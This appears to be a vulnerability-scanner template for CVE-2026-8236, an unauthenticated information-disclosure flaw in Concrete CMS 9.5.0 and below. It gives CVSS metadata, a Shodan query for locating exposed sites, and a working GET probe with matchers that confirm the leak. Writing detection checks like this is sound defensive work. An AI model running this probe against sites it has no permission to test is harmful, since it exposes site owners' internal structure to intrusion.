Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.
id: CVE-2026-8236
info:
name: Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure
author: str4k3r
severity: medium
description: |
Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.
impact: |
Remote attackers can access internal site structure data, potentially exposing sensitive information about the site.
remediation: |
Update to a version later than 9.5.0 or the latest available version.
reference:
- https://documentation.concretecms.org/9-x/developers/9.5.1-security-releases
classification:
cve-id: CVE-2026-8236
epss-score: 0.00523
epss-percentile: 0.4311
cwe-id: CWE-862
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
metadata:
verified: true
max-request: 1
vendor: concretecms
product: concrete_cms
shodan-query: html:"/index.php/ccm/system/"
tags: cve,cve2026,concretecms,concrete5,cms,unauth,exposure
http:
- method: GET
path:
- "{{BaseURL}}/index.php/ccm/system/dialogs/file/usage/1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<td>Page ID</td>'
- 'class="ccm-ui"'
- '<td>Handle</td>'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100d70a17a9f1849e2a5e9da387b82c2d17bbca060af91e2b1851ea036d2ceda3af022026c960f036deb59cd52ef3852f04790898cd67f6cd2f641050e12e08134f1eb2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.